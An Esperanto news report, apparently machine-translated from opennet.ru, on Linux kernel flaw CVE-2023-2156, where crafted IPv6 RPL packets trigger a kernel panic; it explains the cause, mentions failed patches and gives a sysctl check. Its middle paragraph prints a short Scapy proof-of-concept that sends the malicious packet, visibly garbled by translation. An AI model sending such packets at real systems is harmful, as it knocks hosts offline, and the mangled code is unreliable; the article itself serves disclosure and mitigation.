Informoj estis malkaŝitaj pri nekorektita (0-taga) vundebleco (CVE-2023-2156) en la Linukso-kerno, kiu ebligas haltigi la sistemon sendante speciale desegnitajn IPv6-pakaĵojn (pako-de-morto). La problemo nur aperas kiam subteno por la protokolo RPL (Routing Protocol for Low-Power and Lossy Networks) estas ebligita, kiu estas malebligita defaŭlte en distribuoj kaj estas uzata ĉefe sur enkonstruitaj aparatoj funkcianta en sendrataj retoj kun alta paka perdo.
La vundebleco estas kaŭzita de malĝusta prilaborado de eksteraj datumoj en la analiza kodo de la protokolo RPL, kio kondukas al aserta fiasko kaj la kerno iras en la panikan staton. Kiam oni metas la datumojn akiritajn de analizado de la IPv6 RPL-paka kaplinio en la k_buff (Socket Buffer) strukturo, se la CmprI-kampo estas agordita al 15, la Segleft-kampo al 1, kaj CmprE al 0, la 48-bajta vektoro kun adresoj estas malkunpremita. al 528 bajtoj kaj aperas situacio kie la memoro asignita por la bufro ne sufiĉas. En ĉi tiu kazo, la funkcio skb_push, uzata por puŝi datumojn en la strukturon, kontrolas nekommensurecon inter la grandeco de la datumoj kaj la bufro, generante panikan staton por malhelpi skribon preter la bufrolimo.
Ekzemplo ekspluato: # Ni uzos Scapy por krei la pakaĵon el scapy.all import * import socket # Uzu la IPv6 el via LAN-interfaco DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Ni uzas ingojn por sendi la pakaĵon sockfd = socket.socket (socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Krei la pakaĵeton # Type = 3 faras ĉi tion RPL-pako # Addresses enhavas 3 adresojn, sed ĉar CmprI estas 15, # ĉiu oketo de la unuaj du adresoj estas traktita kiel kunpremita adreso # Segleft = 1 por ekigi la plifortigon # lastentry = 0xf0 metas CmprI al 15 kaj CmprE al 0 p = IPv6 (src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting (tipo=3, adresoj:=[“a8:=[“a7): :", "a6::", "a1::"], segleft=0, lastentry=0xf0) # Sendu ĉi tiun malbonan pakaĵon sockfd.sendto(bytes(p), (DST_ADDR, XNUMX))
Estas rimarkinde, ke la kernaj programistoj estis sciigitaj pri la vundebleco en januaro 2022 kaj dum la pasintaj 15 monatoj ili provis ripari la problemon trifoje, liberigante diakilojn en septembro 2022, oktobro 2022 kaj aprilon 2023, sed ĉiufoje la korektoj estis. ne sufiĉe kaj la vundebleco ne povus esti reproduktita. Finfine, la ZDI-projekto, kiu kunordigis la laboron por ripari la vundeblecon, decidis liberigi detalajn informojn pri la vundebleco sen atendi ke funkcianta riparo estos disponebla en la kerno.
Tiel, la vundebleco ankoraŭ restas nefiksita. Aparte, la flikaĵo inkluzivita en la kerno 6.4-rc2 estas neefika. Uzantoj konsilas kontroli, ke la protokolo RPL ne estas uzata en siaj sistemoj, kio povas esti farita per la komando sysctl -a | grep -i rpl_seg_enabled
fonto: opennet.ru